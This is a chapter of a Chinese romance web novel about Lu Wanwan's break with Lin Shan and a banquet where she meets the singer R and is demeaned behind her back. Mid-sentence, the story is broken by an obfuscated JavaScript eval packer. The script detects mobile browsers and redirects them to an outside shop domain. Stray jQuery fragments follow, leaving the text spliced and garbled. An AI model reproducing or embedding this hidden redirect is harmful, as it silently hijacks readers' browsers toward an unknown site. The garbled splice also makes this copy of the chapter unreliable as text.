林杉送的是一条很精致的手链,链条上缀满了小配饰,路弯弯一眼就认出这来自TASAKI,看得出是做了功课。
价格也不便宜。
尽管路弯弯不想承认,但他真的很用心。
很可惜,路弯弯偏偏喜欢的是这个品牌的对家MIKIMOTO的akoya*。
她把项链收起来,不再留恋。
有缘无份,就像自己和这份礼物。
回家路上,安喜发来消息。
【安喜】:弯弯,今晚要不要见面?我从非洲回来了~
【路弯弯】:好。
晚上,酒吧内。
“这次真的放下了?”安喜眯着眼,带着戏谑问她。
“从来也没喜欢过他,只是给以前的我一个答案吧。”
路弯弯说完将自己杯子里的玛格丽特一饮而尽。
16岁和19岁的路弯弯,终于都如愿。
而22岁的路弯弯,则还要步履不停地向前。
安喜的手机亮了一瞬。
“明天有个晚宴,我得过去跟拍两个人。”
路弯弯也不回答她,伸手给她看自己的手机。
【路大师】:过几天有个晚宴,来参加,穿正式一点。
【路弯弯】:你想得美。
【路大师】:你喜欢的那个歌手R也在。
【路弯弯】:…行。
安喜一口喝下剩余的酒,“好样的,能屈能伸路弯弯。”
“但是,”路弯弯摇着酒杯里的冰球。
“孟慎言也去,我猜路宗义的意思是让我和他从大家眼前晃一晃,应该是给我下最后通牒了了。”
安喜捏捏她的脸,安抚似的。
“别想了,到时候咱们见完R就走。我和你一起。”
路弯弯靠向安喜的肩,柔声说好。
//
和安喜见完面,路弯弯才回了家。
长达两周的雨季终于结束了,楼道里的灯也修好了。
门口终于没有那个烦人的家伙一直等着。
今天节目组正式收工,路弯弯前去收拾自己的工位。
工位上早已塞得满满当当了。
郁金香、腰靠、护腕鼠标垫、香薰,甚至还有一个小零食柜。
原本盛开的郁金香已经败了,林杉自说自话地送来了线织的一盆郁金香,说这是永生花。
路弯弯本不想探寻这盆郁金香的来源,是他追着自己说个不停。
说这是他自己织的。
路弯弯没说谢谢,只冷冷地回头审判:
“现在我知道你眼里的红血丝怎么来的了。”
林杉听后赶忙把墨镜戴上,然后安慰自己:“这样就好了。”
想到这儿,路弯弯已经开了门,却依然没开灯。
路弯弯往沙发上一歪,她习惯性地去摸茶几上的薯片袋子,
袋子忘记封口了,是林杉最后一次来自己家时又忘记夹夹子的缘故。
里面的薯片已经软了,是雨季的缘故。
她突然觉得他们的关系就像这包原本该是干脆的薯片,被雨季泡到软塌,失去了原本的口味,也终于难以下咽,进了垃圾桶。
那天的黑暗里暧昧在恣意蔓延,今天却只剩冷清。
路弯弯嚼着软塌塌的薯片,把微信的置顶取消。把“杉”改成“林杉”。
最后又改了回来,像是在遮掩着什么。
把吃完的薯片袋子扔掉,把为了防止林杉忘记夹袋子的夹子放回挂钩上。
路弯弯想,以后不用把夹子放在茶几上了。
因为雨季结束了,和林杉的来往也结束了。
她打开电视,看到画面还停留在自己剪辑的林杉的视频上。
她摁了按键,把所有的文件都清空,又把历史记录删光。
做完这一切,她终于有胆量开灯。
开灯后,如果仔细看,她的脸上有泪和胡乱擦过留下的痕迹。
她还没吃饭。
下意识走到冰箱前,打开看,还看到不少吃了一半的蔬菜。
他是想继续回来做饭的。
看了很久,路弯弯才意识到自己裸露的小腿已经被冰箱的冷气侵袭到冰凉。
她随手拿了一盒番茄意面。
水开、下锅煮面、加酱料、捞起、装盘,她走到CD机前放起音乐。
自动放的是上一次听的歌。
吟唱响起。
是宇多田光的《GoodbyeHappiness》。
「SoGoodbyeHappiness
何も知らずに はしゃいでた
あの顷へはもう戻れないね」*
这时候,路弯弯恨极了自己听得懂日语。
自己爱惨了的嗓音,唱着自己最不愿意听到的歌词。
在这一张桌子上一起吃饭的身影此时恍如又浮现。
她摇摇头,切换到下一首欢快一些的歌曲,不再陷入无意义的回忆中。
//
那天的晚宴,路弯弯想了很久还是从一众做工繁复的哥特风裙子里选了条简单的礼服裙。
吊带,抽褶,收腰,蓬蓬。
又挑了条MIKIMOTO的五珠项链,戴了只银色戒指。
化了很素净的妆容。
踩上颤颤巍巍地红底细高跟。
R其实并不是超级大咖,而是一位创作型歌手,路弯弯听到他的歌正好是在林杉被雪藏时,那时她一心扑到工作上,研究新歌、写歌、录音,忙到几乎没空听老歌。
一个圣诞前的夜晚,她走进一家手工糖果店,准备给朋友们买点礼物。
店里的光绚烂夺目,各色糖果散发出甜甜的气味,无论前者或是后者都足以吸引人,但是她却被音响里放着的歌立刻吸引住了。
沉稳性感的嗓音,低声的吟唱。
一首很简单的弹唱曲,没来得及反应什么,她就掏出了手机听歌识曲。
从那之后她便成了R的歌迷。
和年少时喜欢林杉不同,她只是买专辑,听歌,偶尔点赞他的ins。
理智中偶尔迸发出一点点狂热。
今天的宴会人很多,是悦文化集团,也就是孟家主持的宴会。
路弯弯到了现场就看到安喜不住地朝她招手。
她笑意盈盈地走上前,却在角落里看到孟慎言身边的林杉。
两个人似乎是在对峙,面上都泛着不悦。
路弯弯移开视线,和安喜边聊天边寻找着R的身影。
此时有人喊住了她。
是卫蓝。
“我向你介绍一位艺人。”
路弯弯看过去,那是R,三十岁不到的年纪,浅棕色眼睛和一头蓬松的金色头发。
他绅士地笑着,率先用英语和两人打了招呼。
他夸她漂亮,路弯弯也礼貌回应。
路弯弯只见过R的照片,并没想到他这么年轻。
很帅,身材也很好,她含笑与他行贴面礼,又举起香槟杯,和他致意。
卫蓝和R在聊合作的事。
不知怎么地,她并不似想象中高兴,反而很平淡。
安喜揪揪她的腰,“还不快去说两句?”
“说什么?”路弯弯有些没反应过来。
安喜恨铁不成钢地拍她,“和他合作!和他谈恋爱!和他date!怎么都行!”
路弯弯看了看安喜兴奋的样子。
“我只是喜欢他唱的歌,后两个就不必了。”
然后便加入了卫蓝和R的聊天,问了他接下来的工作安排。
R很礼貌地表示自己听了她的专辑,也有合作意向,路弯弯听出这不过是搪塞,也不再说什么。
高跟鞋不愧是刑具,路弯弯觉得脚踝处隐隐生疼,便和几人说了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273424|139964||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
之后去了卫生间。
孟家庄园的宴会厅里铺着豪华的地毯,走起路来寂静无声。
还是很疼,她吃痛出声。
走到一个转角。
她低头看自己的脚下,没注意身旁。
下一秒,被一只有力的手拉到一边。
那股淡淡的香味此时混着男人的轻喘更显得危险迷人。
常年体温偏高的男人此刻手冰凉得叫人心惊。
这次路弯弯终于知道他喷的是梅森马吉拉的航行物语*。
她来不及反应,轻声惊呼,却看到林杉藏在黑暗里。
只有领带夹和他耳朵上的一排耳钉反着微弱的光。
有些不合时宜地,路弯弯想起林杉左右耳朵夹在一起有七个耳洞,有五个在耳垂上。
左耳耳垂常常由大到小精致地排列着三个银色耳钉,无端让人觉得危险。
对了,和他此时看着她的那双深潭一般的眼睛一样。
危险。
他一眨不眨的眼,紧绷的唇线无一不在昭示着他的心情。
他生气了,很生气。
可他的动作还是很轻柔。
林杉单膝跪下,捏住了她的脚踝。
不知从哪儿摸出来的创口贴,他撕开,给她轻轻贴上。
路弯弯想拒绝,“林先生,我可以自己来,我可以……”
他加重了一点力气,手用力把她整个脚都握住。
她觉得不舒服。
便压低了声音唤他名字。
“林杉!你放手!”
林杉终于抬头,带着恳求。
“你不方便蹲下,我来吧,好吗?”
路弯弯看见他再次染黑的发顶,竟然显出一丝乖顺,才终于默许。
林杉做完这一切,转身去洗了手。
出门看到路弯弯依旧在原地。
林杉放慢脚步,似乎是想说些什么,听到不远处传来了男人们的嬉笑。
来不及躲,如果让人看到他们在一起,后果不堪设想。
他环住路弯弯纤细的腰,一转身躲进了储藏间。
路弯弯本想拒绝林杉的突然靠近,却突然听见熟悉的声音渐渐靠近。
“哈哈哈哈哈哈哈哈哈你知道刚刚R和我说什么吗?”
很张狂的大声笑,是孟慎言。
他似乎是在接电话,电话那头的人说了什么,他便像是获得了鼓励一样继续笑着。
正要听孟慎言说出下一句的时候,一双手虚虚地拢上路弯弯的耳朵。
林杉不想让她听见下面的话。
可惜孟慎言一改往日儒雅淡然的模样,嗓音极大,就算此时林杉捂她耳朵捂得紧紧的,她也会听见下面的话。
更何况男人只是小心翼翼地虚虚拢住。
“和路小姐合作会拉低我的身价,和路小姐约会倒是更符合我心意。”
他学得惟妙惟肖。
身边的林杉呼吸突然变得粗重,似乎下一秒就要冲出去打他。
路弯弯忽地想起刚刚提到合作时R那双眼睛里忽明忽暗的光。
格外浓郁的漆黑中,她轻声笑了。
在国外读书的时候自己就习惯了被人用性化的眼光看待。
无关实力、无关音乐,在那些自大狂妄的男人的评价系统里,她只是一个待价而沽的女人。
身材、长相、是否温柔、是否听话。
“利他”,就连自己真的靠实力到达今天的位置,也要“利他”。
只要满足他们的欲望。
何必在意她的梦想。
此时,林杉掌心的热意隔着空气源源不断地输送到耳尖。
路弯弯耳朵本就敏感,如果不是黑暗替她伪装,应当能看到她红到快要滴血的耳朵。
她这时才在如雷的心跳声中惊愕地发现两人之间的距离极近。
近到只要有人稍稍偏头就能吻上对方。